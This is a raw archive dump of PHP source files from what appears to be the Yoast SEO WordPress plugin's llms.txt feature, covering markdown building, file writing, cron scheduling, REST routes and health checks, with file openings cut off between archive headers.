public function get_prefix(): string {
return '# ';
}
/**
* Renders the title section.
*
* @return string
*/
public function render(): string {
if ( $this->site_tagline === '' ) {
return $this->site_title;
}
if ( $this->site_title === '' ) {
return $this->site_tagline;
}
return "$this->site_title: $this->site_tagline";
}
/**
* Escapes the markdown content.
*
* @param Markdown_Escaper $markdown_escaper The markdown escaper.
*
* @return void
*/
public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
$this->site_title = $markdown_escaper->escape_markdown_content( $this->site_title );
$this->site_tagline = $markdown_escaper->escape_markdown_content( $this->site_tagline );
}
}
llms-txt/domain/content/post-collection-interface.php 0000644 00000000365 15207625667 0017062 0 ustar 00 automatic_post_collection = $automatic_post_collection;
}
/**
* Gets the available posts' data.
*
* @param Parameters $parameters The parameters to use for getting the available posts.
*
* @return Data_Container
*/
public function get_posts( Parameters $parameters ): Data_Container {
$available_posts = $this->automatic_post_collection->get_recent_posts( $parameters->get_post_type(), 100, $parameters->get_search_filter(), true );
$available_posts_data_container = new Data_Container();
foreach ( $available_posts as $available_post ) {
$available_posts_data_container->add_data( new Available_Posts_Data( $available_post ) );
}
return $available_posts_data_container;
}
}
llms-txt/application/markdown-builders/markdown-builder.php 0000644 00000006256 15207625676 0020274 0 ustar 00 llms_txt_renderer = $llms_txt_renderer;
$this->intro_builder = $intro_builder;
$this->title_builder = $title_builder;
$this->description_builder = $description_builder;
$this->link_lists_builder = $link_lists_builder;
$this->markdown_escaper = $markdown_escaper;
$this->optional_link_list_builder = $optional_link_list_builder;
}
/**
* Renders the markdown.
*
* @return string The rendered markdown.
*/
public function render(): string {
$this->llms_txt_renderer->add_section( $this->title_builder->build_title() );
$this->llms_txt_renderer->add_section( $this->description_builder->build_description() );
$this->llms_txt_renderer->add_section( $this->intro_builder->build_intro() );
foreach ( $this->link_lists_builder->build_link_lists() as $link_list ) {
$this->llms_txt_renderer->add_section( $link_list );
}
$this->llms_txt_renderer->add_section( $this->optional_link_list_builder->build_optional_link_list() );
foreach ( $this->llms_txt_renderer->get_sections() as $section ) {
$section->escape_markdown( $this->markdown_escaper );
}
return $this->llms_txt_renderer->render();
}
}
llms-txt/application/markdown-builders/link-lists-builder.php 0000644 00000002540 15207625677 0020534 0 ustar 00 content_types_collector = $content_types_collector;
$this->terms_collector = $terms_collector;
}
/**
* Builds the link list sections.
*
* @return Link_List[] The link list sections.
*/
public function build_link_lists(): array {
return \array_merge(
$this->content_types_collector->get_content_types_lists(),
$this->terms_collector->get_terms_lists(),
);
}
}
llms-txt/application/markdown-builders/optional-link-list-builder.php 0000644 00000002113 15207625677 0022170 0 ustar 00 sitemap_link_collector = $sitemap_link_collector;
}
/**
* Builds the optional link list.
*
* @return Link_List The optional link list.
*/
public function build_optional_link_list(): Link_List {
$sitemap_link = $this->sitemap_link_collector->get_link();
if ( $sitemap_link === null ) {
return new Link_List( 'Optional', [] );
}
return new Link_List( 'Optional', [ $sitemap_link ] );
}
}
llms-txt/application/markdown-builders/title-builder.php 0000644 00000001436 15207625677 0017567 0 ustar 00 title_adapter = $title_adapter;
}
/**
* Builds the title section.
*
* @return Title The title section.
*/
public function build_title(): Title {
return $this->title_adapter->get_title();
}
}
llms-txt/application/markdown-builders/intro-builder.php 0000644 00000001472 15207625677 0017601 0 ustar 00 get_generator_version(),
);
return new Intro( $intro_content, [] );
}
}
llms-txt/application/markdown-builders/description-builder.php 0000644 00000001636 15207625677 0020773 0 ustar 00 description_adapter = $description_adapter;
}
/**
* Builds the description section.
*
* @return Description The description section.
*/
public function build_description(): Description {
return $this->description_adapter->get_description();
}
}
llms-txt/application/file/commands/populate-file-command-handler.php 0000644 00000006376 15207625677 0021716 0 ustar 00 options_helper = $options_helper;
$this->file_system_adapter = $file_system_adapter;
$this->markdown_builder = $markdown_builder;
$this->permission_gate = $permission_gate;
}
/**
* Runs the command.
*
* @return void
*/
public function handle() {
if ( $this->permission_gate->is_managed_by_yoast_seo() ) {
$content = $this->markdown_builder->render();
$content = $this->encode_content( $content );
$file_written = $this->file_system_adapter->set_file_content( $content );
if ( $file_written ) {
// Maybe move this to a class if we need to handle this option more often.
\update_option( self::CONTENT_HASH_OPTION, \md5( $content ) );
\delete_option( self::GENERATION_FAILURE_OPTION );
return;
}
\update_option( self::GENERATION_FAILURE_OPTION, 'filesystem_permissions' );
return;
}
\update_option( self::GENERATION_FAILURE_OPTION, 'not_managed_by_yoast_seo' );
}
/**
* Encodes the content by prepending it with the Byte Order Mark (BOM) for UTF-8.
*
* @param string $content The content to encode.
*
* @return string
*/
private function encode_content( string $content ): string {
/**
* Filter: 'wpseo_llmstxt_encoding_prefix' - Allows editing the Byte Order Mark (BOM) for UTF-8 we prepend to the llmst.txt file.
*
* @param string $encoding_prefix The Byte Order Mark (BOM) for UTF-8 we prepend to the llmst.txt file.
*/
$encoding_prefix = \apply_filters( 'wpseo_llmstxt_encoding_prefix', "\xEF\xBB\xBF" );
return $encoding_prefix . $content;
}
}
llms-txt/application/file/commands/remove-file-command-handler.php 0000644 00000003464 15207625677 0021355 0 ustar 00 options_helper = $options_helper;
$this->file_system_adapter = $file_system_adapter;
$this->permission_gate = $permission_gate;
}
/**
* Runs the command.
*
* @return void
*/
public function handle() {
if ( $this->permission_gate->is_managed_by_yoast_seo() ) {
$file_removed = $this->file_system_adapter->remove_file();
if ( $file_removed ) {
// Maybe move this to a class if we need to handle this option more often.
\update_option( Populate_File_Command_Handler::CONTENT_HASH_OPTION, '' );
}
}
}
}
llms-txt/application/file/file-failure-notification-presenter.php 0000644 00000004046 15207625677 0021345 0 ustar 00 ';
$notification_text .= $this->get_message();
$notification_text .= '';
return $notification_text;
}
/**
* Returns the message to show.
*
* @return string The message.
*/
protected function get_message() {
$reason = \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, false );
switch ( $reason ) {
case 'not_managed_by_yoast_seo':
$message = \sprintf(
/* translators: 1: Link start tag to the WordPress Reading Settings page, 2: Link closing tag. */
\esc_html__( 'An existing llms.txt file wasn\'t created by Yoast or has been edited manually. Yoast won\'t overwrite it. %1$sDelete it manually%2$s or turn off this feature.', 'wordpress-seo' ),
'',
'',
);
break;
case 'filesystem_permissions':
$message =
\__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file. It looks like there aren\'t sufficient permissions on the web server\'s filesystem.', 'wordpress-seo' );
break;
default:
$message = \__( 'You have activated the Yoast llms.txt feature, but we couldn\'t generate an llms.txt file, for unknown reasons.', 'wordpress-seo' );
break;
}
return \sprintf(
'%1$s %2$s',
\esc_html__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' ),
$message,
);
}
}
llms-txt/application/file/llms-txt-cron-scheduler.php 0000644 00000003440 15207625700 0016767 0 ustar 00 options_helper = $options_helper;
}
/**
* Schedules the llms txt population cron a week from now.
*
* @return void
*/
public function schedule_weekly_llms_txt_population(): void {
if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) {
return;
}
if ( ! \wp_next_scheduled( self::LLMS_TXT_POPULATION ) ) {
\wp_schedule_event( ( \time() + \WEEK_IN_SECONDS ), 'weekly', self::LLMS_TXT_POPULATION );
}
}
/**
* Schedules the llms txt population cron 5 minutes from now.
*
* @return void
*/
public function schedule_quick_llms_txt_population(): void {
if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) {
return;
}
if ( \wp_next_scheduled( self::LLMS_TXT_POPULATION ) ) {
$this->unschedule_llms_txt_population();
}
\wp_schedule_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), 'weekly', self::LLMS_TXT_POPULATION );
}
/**
* Unschedules the llms txt population cron.
*
* @return void
*/
public function unschedule_llms_txt_population() {
$scheduled = \wp_next_scheduled( self::LLMS_TXT_POPULATION );
if ( $scheduled ) {
\wp_unschedule_event( $scheduled, self::LLMS_TXT_POPULATION );
}
}
}
llms-txt/application/configuration/llms-txt-configuration.php 0000644 00000003430 15207625707 0020657 0 ustar 00 runner = $runner;
$this->post_type_helper = $post_type_helper;
$this->options_helper = $options_helper;
}
/**
* Returns a configuration
*
* @return array|array>>>
*/
public function get_configuration(): array {
$this->runner->run();
$configuration = [
'generationFailure' => ! $this->runner->is_successful(),
'generationFailureReason' => $this->runner->get_generation_failure_reason(),
'llmsTxtUrl' => \home_url( 'llms.txt' ),
'disabledPageIndexables' => ( $this->post_type_helper->is_of_indexable_post_type( 'page' ) === false ),
'otherIncludedPagesLimit' => $this->options_helper->get_other_included_pages_limit(),
];
return $configuration;
}
}
llms-txt/application/health-check/file-check.php 0000644 00000003640 15207625707 0015674 0 ustar 00 runner = $runner;
$this->reports = $reports;
$this->options_helper = $options_helper;
$this->reports->set_test_identifier( $this->get_test_identifier() );
$this->set_runner( $this->runner );
}
/**
* Returns the WordPress-friendly health check result.
*
* @return string[] The WordPress-friendly health check result.
*/
protected function get_result() {
if ( $this->runner->is_successful() ) {
return $this->reports->get_success_result();
}
return $this->reports->get_generation_failure_result( $this->runner->get_generation_failure_reason() );
}
/**
* Returns true when the llms.txt feature is disabled.
*
* @return bool Whether the health check should be excluded from the results.
*/
public function is_excluded() {
return $this->options_helper->get( 'enable_llms_txt', false ) !== true;
}
}
llms-txt/application/health-check/file-runner.php 0000644 00000002256 15207625707 0016132 0 ustar 00 generation_failure_reason = \get_option( Populate_File_Command_Handler::GENERATION_FAILURE_OPTION, '' );
}
/**
* Returns true if there is no generation failure reason.
*
* @return bool The boolean indicating if the health check was succesful.
*/
public function is_successful() {
return $this->generation_failure_reason === '';
}
/**
* Returns the generation failure reason.
*
* @return string The boolean indicating if the health check was succesful.
*/
public function get_generation_failure_reason(): string {
return $this->generation_failure_reason;
}
}
llms-txt/application/markdown-escaper.php 0000644 00000002153 15207625707 0014622 0 ustar 00 _{}|]/';
$replacement = static function ( $matches ) {
return '\\' . $matches[0];
};
return \preg_replace_callback( $pattern, $replacement, $text );
}
/**
* Escapes URLs in markdown.
*
* @param string $url The markdown URL to escape.
*
* @return string The escaped markdown URL.
*/
public function escape_markdown_url( $url ) {
$escaped_url = \str_replace( [ ' ', '(', ')', '\\' ], [ '%20', '%28', '%29', '%5C' ], $url );
return $escaped_url;
}
}
llms-txt/infrastructure/file/wordpress-llms-txt-permission-gate.php 0000644 00000003634 15207625710 0021771 0 ustar 00 file_system_adapter = $file_system_adapter;
$this->options_helper = $options_helper;
}
/**
* Checks if Yoast SEO manages the llms.txt.
*
* @return bool Checks if Yoast SEO manages the llms.txt.
*/
public function is_managed_by_yoast_seo(): bool {
$stored_hash = \get_option( Populate_File_Command_Handler::CONTENT_HASH_OPTION, '' );
// If the file does not exist yet, we always regenerate/create it.
if ( ! $this->file_system_adapter->file_exists() ) {
return true;
}
// This means the file is already there (maybe hand made or another plugin created it). And since we don't have a hash it's not ours.
if ( $stored_hash === '' ) {
return false;
}
$current_content = $this->file_system_adapter->get_file_contents();
// If you have a hash, we want to make sure it's the same. This check makes sure the file is not edited by the user.
return \md5( $current_content ) === $stored_hash;
}
}
llms-txt/infrastructure/file/wordpress-file-system-adapter.php 0000644 00000006120 15207625710 0020751 0 ustar 00 is_file_system_available() ) {
global $wp_filesystem;
$result = $wp_filesystem->put_contents(
$this->get_llms_file_path(),
$content,
\FS_CHMOD_FILE,
);
return $result;
}
return false;
}
/**
* Removes the llms.txt from the filesystem.
*
* @return bool True on success, false on failure.
*/
public function remove_file(): bool {
if ( $this->is_file_system_available() ) {
global $wp_filesystem;
$result = $wp_filesystem->delete( $this->get_llms_file_path() );
return $result;
}
return false;
}
/**
* Gets the contents of the current llms.txt file.
*
* @return string The content of the file.
*/
public function get_file_contents(): string {
if ( $this->is_file_system_available() ) {
global $wp_filesystem;
return $wp_filesystem->get_contents( $this->get_llms_file_path() );
}
return '';
}
/**
* Checks if the llms.txt file exists.
*
* @return bool Whether the llms.txt file exists.
*/
public function file_exists(): bool {
if ( $this->is_file_system_available() ) {
global $wp_filesystem;
return $wp_filesystem->exists( $this->get_llms_file_path() );
}
return false;
}
/**
* Checks if the file system is available.
*
* @return bool If the file system is available.
*/
private function is_file_system_available(): ?bool {
if ( ! \function_exists( 'WP_Filesystem' ) ) {
require_once \ABSPATH . 'wp-admin/includes/file.php';
}
return \WP_Filesystem();
}
/**
* Creates the path to the llms.txt file.
*
* @return string
*/
private function get_llms_file_path(): string {
$llms_filesystem_path = \get_home_path();
// phpcs:disable WordPress.Security.ValidatedSanitizedInput -- Reason: This is how we used this for the robots.txt file as well.
if ( ! \is_writable( $llms_filesystem_path ) && ! empty( $_SERVER['DOCUMENT_ROOT'] ) ) {
$llms_filesystem_path = $_SERVER['DOCUMENT_ROOT'];
}
// phpcs:enable WordPress.Security.ValidatedSanitizedInput
/**
* Filter: 'wpseo_llmstxt_filesystem_path' - Allows editing the filesystem path of the llmst.txt file to account for server restrictions to the filesystem.
*
* @param string $llms_filesystem_path The filesystem path of the llmst.txt file that defaults to get_home_path() or the $_SERVER['DOCUMENT_ROOT'] if the home path is not writeable.
*/
$llms_filesystem_path = \apply_filters( 'wpseo_llmstxt_filesystem_path', $llms_filesystem_path );
return \trailingslashit( $llms_filesystem_path ) . 'llms.txt';
}
}
llms-txt/infrastructure/markdown-services/title-adapter.php 0000644 00000001761 15207625710 0020335 0 ustar 00 default_tagline_runner = $default_tagline_runner;
}
/**
* Gets the title.
*
* @return Title The title.
*/
public function get_title(): Title {
$this->default_tagline_runner->run();
$tagline = ( $this->default_tagline_runner->is_successful() ? \get_bloginfo( 'description' ) : '' );
return new Title( \get_bloginfo( 'name' ), $tagline );
}
}
llms-txt/infrastructure/markdown-services/description-adapter.php 0000644 00000002131 15207625710 0021527 0 ustar 00 meta = $meta;
}
/**
* Gets the description.
*
* @return Description The description.
*/
public function get_description(): Description {
$meta_description = $this->meta->for_home_page()->meta_description;
// In a lot of cases, the homepage's meta description falls back to the site's tagline.
// But that is already used for the title section, so let's try to not have duplicate content.
if ( $meta_description === \get_bloginfo( 'description' ) ) {
return new Description( '' );
}
return new Description( $meta_description );
}
}
llms-txt/infrastructure/markdown-services/content-types-collector.php 0000644 00000007211 15207625710 0022372 0 ustar 00 post_type_helper = $post_type_helper;
$this->collection_factory = $collection_factory;
$this->options_helper = $options_helper;
}
/**
* Returns the content types in a link list.
*
* @return Link_List[] The content types in a link list.
*/
public function get_content_types_lists(): array {
$post_types = $this->post_type_helper->get_indexable_post_type_objects();
$post_types = $this->make_sure_pages_are_first( $post_types );
$link_list = [];
foreach ( $post_types as $post_type_object ) {
if ( $this->post_type_helper->is_indexable( $post_type_object->name ) === false ) {
continue;
}
$option = 'auto';
if ( $post_type_object->name === 'page' ) {
$option = $this->options_helper->get( 'llms_txt_selection_mode' );
}
$collection_strategy = $this->collection_factory->get_post_collection( $option );
$posts = $collection_strategy->get_posts( $post_type_object->name, 5 );
$post_links = new Link_List( $post_type_object->label, [] );
foreach ( $posts as $post ) {
/**
* Filter 'wpseo_llmstxt_link_description' - Allow filtering the description of links in the llms.txt post lists.
*
* @since 26.3
*
* @param string $link_description The description of the link.
* @param string $post_id The ID of the post that is being added as a link.
* @param string $post_type The post type of the post that is being added as a link.
*/
$link_description = \apply_filters( 'wpseo_llmstxt_link_description', $post->get_description(), $post->get_id(), $post_type_object->name );
$post_link = new Link( $post->get_title(), $post->get_url(), $link_description );
$post_links->add_link( $post_link );
}
$link_list[] = $post_links;
}
return $link_list;
}
/**
* Returns an array of indexable post types with pages and posts as the first two.
*
* @param array $post_types List of indexable post type objects.
*
* @return array List of indexable post type objects.
*/
private function make_sure_pages_are_first( array $post_types ): array {
$types_to_go_first = [];
if ( isset( $post_types['page'] ) ) {
$types_to_go_first['page'] = $post_types['page'];
unset( $post_types['page'] );
}
return \array_merge( $types_to_go_first, $post_types );
}
}
llms-txt/infrastructure/markdown-services/sitemap-link-collector.php 0000644 00000001423 15207625710 0022152 0 ustar 00 taxonomy_helper = $taxonomy_helper;
}
/**
* Returns the content types in a link list.
*
* @return Link_List[] The content types in a link list.
*/
public function get_terms_lists(): array {
$taxonomies = $this->taxonomy_helper->get_indexable_taxonomy_objects();
$link_list = [];
foreach ( $taxonomies as $taxonomy ) {
if ( $this->taxonomy_helper->is_indexable( $taxonomy->name ) === false ) {
continue;
}
$terms = \get_categories(
[
'taxonomy' => $taxonomy->name,
'number' => 5,
'orderby' => 'count',
'order' => 'DESC',
],
);
$term_links = new Link_List( $taxonomy->label, [] );
foreach ( $terms as $term ) {
$term_link = new Link( $term->name, \get_term_link( $term, $taxonomy->name ) );
$term_links->add_link( $term_link );
}
$link_list[] = $term_links;
}
return $link_list;
}
}
llms-txt/infrastructure/content/post-collection-factory.php 0000644 00000003130 15207625711 0020361 0 ustar 00 manual_post_collection = $manual_post_collection;
$this->automatic_post_collection = $automatic_post_collection;
}
/**
* Determines which collection class is needed.
*
* @param string $collection_type The type of collection.
*
* @throws Exception Throws when an invalid type is given.
* @return Post_Collection_Interface
*/
public function get_post_collection( string $collection_type ): Post_Collection_Interface {
switch ( $collection_type ) {
case 'manual':
return $this->manual_post_collection;
case 'auto':
return $this->automatic_post_collection;
default:
throw new Exception( 'Invalid collection type provided' );
}
}
}
llms-txt/infrastructure/content/manual-post-collection.php 0000644 00000010540 15207625711 0020172 0 ustar 00 options_helper = $options_helper;
$this->indexable_helper = $indexable_helper;
$this->indexable_repository = $indexable_repository;
$this->meta = $meta;
}
/**
* The post method to get all relevant content type entries
*
* @return array> The posts that are relevant for the LLMs.txt.
*/
public function get_posts(): array {
$posts = [];
$pages = [
'about_us_page',
'contact_page',
'terms_page',
'privacy_policy_page',
'shop_page',
];
foreach ( $pages as $page ) {
$page_id = $this->options_helper->get( $page );
if ( ! empty( $page_id ) ) {
$post = $this->get_content_type_entry( $page_id );
if ( $post !== null ) {
$posts[] = $post;
}
else {
$this->options_helper->set( $page, 0 );
}
}
}
$other_pages = $this->options_helper->get( 'other_included_pages' );
$filtered_pages = [];
if ( ! empty( $other_pages ) ) {
foreach ( $other_pages as $page_id ) {
$post = $this->get_content_type_entry( $page_id );
if ( $post !== null ) {
$posts[] = $post;
$filtered_pages[] = $page_id;
}
}
if ( \count( $filtered_pages ) !== \count( $other_pages ) ) {
$this->options_helper->set( 'other_included_pages', $filtered_pages );
}
}
return $posts;
}
/**
* Gets the content entries.
*
* @param int $page_id The id of the page.
*
* @return Content_Type_Entry The content type entry.
*/
public function get_content_type_entry( int $page_id ): ?Content_Type_Entry {
if ( $this->indexable_helper->should_index_indexables() ) {
$post = $this->get_content_type_entry_for_indexable( $page_id );
}
else {
$post = $this->get_content_type_entry_wp_query( $page_id );
}
return $post;
}
/**
* Gets the content entries with WP query.
*
* @param int $page_id The id of the page.
*
* @return Content_Type_Entry The content type entry.
*/
public function get_content_type_entry_wp_query( int $page_id ): ?Content_Type_Entry {
$page = \get_post( $page_id );
if ( $page !== null && $page->post_password === '' && $page->post_status === 'publish' ) {
return Content_Type_Entry::from_post( $page, \get_permalink( $page->ID ) );
}
return null;
}
/**
* Gets the content entries with indexables.
*
* @param int $page_id The id of the page.
*
* @return Content_Type_Entry The content type entry.
*/
public function get_content_type_entry_for_indexable( int $page_id ): ?Content_Type_Entry {
$indexable = $this->indexable_repository->find_by_id_and_type( $page_id, 'post' );
if ( $indexable && ( $indexable->is_public === null || $indexable->is_public ) ) {
$indexable_meta = $this->meta->for_indexable( $indexable );
if ( $indexable_meta->post instanceof WP_Post ) {
return Content_Type_Entry::from_meta( $indexable_meta );
}
}
return null;
}
}
llms-txt/infrastructure/content/automatic-post-collection.php 0000644 00000016015 15207625711 0020706 0 ustar 00 options_helper = $options_helper;
$this->indexable_repository = $indexable_repository;
$this->meta = $meta;
$this->indexable_helper = $indexable_helper;
}
/**
* Gets the posts that are relevant for the LLMs.txt.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
*
* @return array> The posts that are relevant for the LLMs.txt.
*/
public function get_posts( string $post_type, int $limit ): array {
$posts = $this->get_recent_cornerstone_content( $post_type, $limit );
if ( \count( $posts ) >= $limit ) {
return $posts;
}
$recent_posts = $this->get_recent_posts( $post_type, $limit );
foreach ( $recent_posts as $recent_post ) {
// If the post is already in the list because it's cornerstone, don't add it again.
if ( isset( $posts[ $recent_post->get_id() ] ) ) {
continue;
}
$posts[ $recent_post->get_id() ] = $recent_post;
if ( \count( $posts ) >= $limit ) {
break;
}
}
return $posts;
}
/**
* Gets the most recently modified cornerstone content.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
*
* @return array> The most recently modified cornerstone content.
*/
private function get_recent_cornerstone_content( string $post_type, int $limit ): array {
if ( ! $this->options_helper->get( 'enable_cornerstone_content' ) ) {
return [];
}
$cornerstone_limit = ( \is_post_type_hierarchical( $post_type ) ) ? null : $limit;
$cornerstones = $this->indexable_repository->get_recent_cornerstone_for_post_type( $post_type, $cornerstone_limit );
$recent_cornerstone_posts = [];
foreach ( $cornerstones as $cornerstone ) {
$cornerstone_meta = $this->meta->for_indexable( $cornerstone );
if ( $cornerstone_meta->post instanceof WP_Post ) {
$recent_cornerstone_posts[ $cornerstone_meta->post->ID ] = Content_Type_Entry::from_meta( $cornerstone_meta );
}
}
return $recent_cornerstone_posts;
}
/**
* Gets the most recently modified posts.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
* @param string $search_filter Optional. The search filter to apply to the query.
* @param bool $disable_excluding_old_posts Optional. Whether to disable excluding posts older than one year.
*
* @return array The most recently modified posts.
*/
public function get_recent_posts( string $post_type, int $limit, string $search_filter = '', bool $disable_excluding_old_posts = false ): array {
$exclude_older_than_one_year = false;
if ( $post_type === 'post' && ! $disable_excluding_old_posts ) {
$exclude_older_than_one_year = true;
}
if ( $this->indexable_helper->should_index_indexables() ) {
return $this->get_recently_modified_posts_indexables( $post_type, $limit, $exclude_older_than_one_year, $search_filter );
}
return $this->get_recently_modified_posts_wp_query( $post_type, $limit, $exclude_older_than_one_year, $search_filter );
}
/**
* Returns most recently modified posts of a post type, using indexables.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
* @param bool $exclude_older_than_one_year Whether to exclude posts older than one year.
* @param string $search_filter Optional. The search filter to apply to the query.
*
* @return array The most recently modified posts.
*/
private function get_recently_modified_posts_indexables( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ): array {
$posts = [];
$recently_modified_indexables = $this->indexable_repository->get_recently_modified_posts( $post_type, $limit, $exclude_older_than_one_year, $search_filter );
foreach ( $recently_modified_indexables as $indexable ) {
$indexable_meta = $this->meta->for_indexable( $indexable );
if ( $indexable_meta->post instanceof WP_Post ) {
$posts[] = Content_Type_Entry::from_meta( $indexable_meta );
}
}
return $posts;
}
/**
* Returns most recently modified posts of a post type, using WP_Query.
*
* @param string $post_type The post type.
* @param int $limit The maximum number of posts to return.
* @param bool $exclude_older_than_one_year Whether to exclude posts older than one year.
* @param string $search_filter Optional. The search filter to apply to the query.
*
* @return array The most recently modified posts.
*/
private function get_recently_modified_posts_wp_query( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ): array {
$args = [
'post_type' => $post_type,
'posts_per_page' => $limit,
'post_status' => 'publish',
'orderby' => 'modified',
'order' => 'DESC',
'has_password' => false,
];
if ( $exclude_older_than_one_year === true ) {
$args['date_query'] = [
[
'after' => '12 months ago',
],
];
}
if ( $search_filter !== '' ) {
$args['s'] = $search_filter;
}
$posts = [];
foreach ( \get_posts( $args ) as $post ) {
$posts[] = Content_Type_Entry::from_post( $post, \get_permalink( $post->ID ) );
}
return $posts;
}
}
llms-txt/user-interface/available-posts-route.php 0000644 00000007537 15207625711 0016221 0 ustar 00 available_posts_repository = $available_posts_repository;
$this->capability_helper = $capability_helper;
}
/**
* Registers routes for scores.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_NAME,
[
[
'methods' => 'GET',
'callback' => [ $this, 'get_available_posts' ],
'permission_callback' => [ $this, 'permission_manage_options' ],
'args' => [
'search' => [
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
'default' => '',
],
'postType' => [
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
'default' => 'page',
],
],
],
],
);
}
/**
* Gets the available posts.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The success or failure response.
*/
public function get_available_posts( WP_REST_Request $request ): WP_REST_Response {
try {
$request_parameters = new Parameters( $request->get_param( 'postType' ), $request->get_param( 'search' ) );
$this->validate_request_parameters( $request_parameters );
$available_posts_container = $this->available_posts_repository->get_posts( $request_parameters );
} catch ( Exception $exception ) {
return new WP_REST_Response(
[
'error' => $exception->getMessage(),
],
$exception->getCode(),
);
}
return new WP_REST_Response(
$available_posts_container->to_array(),
200,
);
}
/**
* Validates the request's parameters.
*
* @param Parameters $request_parameters The request parameters.
*
* @return void.
*
* @throws Invalid_Post_Type_Exception When the given post type is invalid.
*/
public function validate_request_parameters( Parameters $request_parameters ): void {
if ( ! \is_a( \get_post_type_object( $request_parameters->get_post_type() ), WP_Post_Type::class ) ) {
throw new Invalid_Post_Type_Exception();
}
}
/**
* Permission callback.
*
* @return bool True when user has the 'wpseo_manage_options' capability.
*/
public function permission_manage_options() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
llms-txt/user-interface/enable-llms-txt-option-watcher.php 0000644 00000010140 15207625711 0017730 0 ustar 00 scheduler = $scheduler;
$this->remove_file_command_handler = $remove_file_command_handler;
$this->populate_file_command_handler = $populate_file_command_handler;
$this->options_helper = $options_helper;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'update_option_wpseo', [ $this, 'check_toggle_llms_txt' ], 10, 2 );
\add_action( 'update_option_wpseo_llmstxt', [ $this, 'check_llms_txt_selection' ], 10, 2 );
}
/**
* Checks if the LLMS.txt feature is toggled.
*
* @param array> $old_value The old value of the option.
* @param array> $new_value The new value of the option.
*
* @return void
*/
public function check_toggle_llms_txt( $old_value, $new_value ): void {
$option_name = 'enable_llms_txt';
if ( \array_key_exists( $option_name, $old_value ) && \array_key_exists( $option_name, $new_value ) && $old_value[ $option_name ] !== $new_value[ $option_name ] ) {
if ( $new_value[ $option_name ] === true ) {
$this->scheduler->schedule_weekly_llms_txt_population();
$this->populate_file_command_handler->handle();
}
else {
$this->scheduler->unschedule_llms_txt_population();
$this->remove_file_command_handler->handle();
}
}
}
/**
* Checks if any of the llms.txt settings were changed.
*
* @param array> $old_value The old value of the option.
* @param array> $new_value The new value of the option.
*
* @return void
*/
public function check_llms_txt_selection( $old_value, $new_value ): void {
if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) {
return;
}
foreach ( $this->option_names as $option_name ) {
if ( ! \array_key_exists( $option_name, $old_value ) || ! \array_key_exists( $option_name, $new_value ) ) {
continue;
}
if ( $old_value[ $option_name ] !== $new_value[ $option_name ] ) {
$this->populate_file_command_handler->handle();
return;
}
}
}
}
llms-txt/user-interface/cleanup-llms-txt-on-deactivation.php 0000644 00000002767 15207625711 0020272 0 ustar 00 command_handler = $command_handler;
$this->cron_scheduler = $cron_scheduler;
}
/**
* Registers the unscheduling of the cron to the deactivation action.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_deactivate', [ $this, 'maybe_remove_llms_file' ] );
}
/**
* Call the command handler to remove the file.
*
* @return void
*/
public function maybe_remove_llms_file(): void {
$this->command_handler->handle();
$this->cron_scheduler->unschedule_llms_txt_population();
}
}
llms-txt/user-interface/llms-txt-cron-callback-integration.php 0000644 00000005102 15207625711 0020557 0 ustar 00 options_helper = $options_helper;
$this->scheduler = $scheduler;
$this->populate_file_command_handler = $populate_file_command_handler;
$this->remove_file_command_handler = $remove_file_command_handler;
}
/**
* Registers the hooks with WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action(
Llms_Txt_Cron_Scheduler::LLMS_TXT_POPULATION,
[
$this,
'populate_file',
],
);
}
/**
* Populates and creates the file.
*
* @return void
*/
public function populate_file(): void {
if ( ! \wp_doing_cron() ) {
return;
}
if ( $this->options_helper->get( 'enable_llms_txt', false ) !== true ) {
$this->scheduler->unschedule_llms_txt_population();
$this->remove_file_command_handler->handle();
return;
}
$this->populate_file_command_handler->handle();
}
}
llms-txt/user-interface/health-check/file-reports.php 0000644 00000007216 15207625712 0016725 0 ustar 00 report_builder_factory = $report_builder_factory;
}
/**
* Returns the message for a successful health check.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_success_result() {
$label = \sprintf(
/* translators: %s: Yoast SEO. */
\__( 'Your llms.txt file is auto-generated by %s', 'wordpress-seo' ),
'Yoast SEO',
);
$description = \sprintf(
/* translators: %s: Yoast SEO. */
\__( '%s keeps your llms.txt file up-to-date. This helps LLMs access and provide your site\'s information more easily.', 'wordpress-seo' ),
'Yoast SEO',
);
return $this->get_report_builder()
->set_label( $label )
->set_status_good()
->set_description( $description )
->build();
}
/**
* Returns the message for a failed health check. In this case, when the llms.txt file couldn't be auto-generated.
*
* @param string $reason The reason why the llms.txt file couldn't be auto-generated.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_generation_failure_result( $reason ) {
switch ( $reason ) {
case 'not_managed_by_yoast_seo':
$title = \__( 'Your llms.txt file couldn\'t be auto-generated', 'wordpress-seo' );
$message = \sprintf(
/* translators: 1,3,5: expand to opening paragraph tag, 2,4,6: expand to opening paragraph tag. */
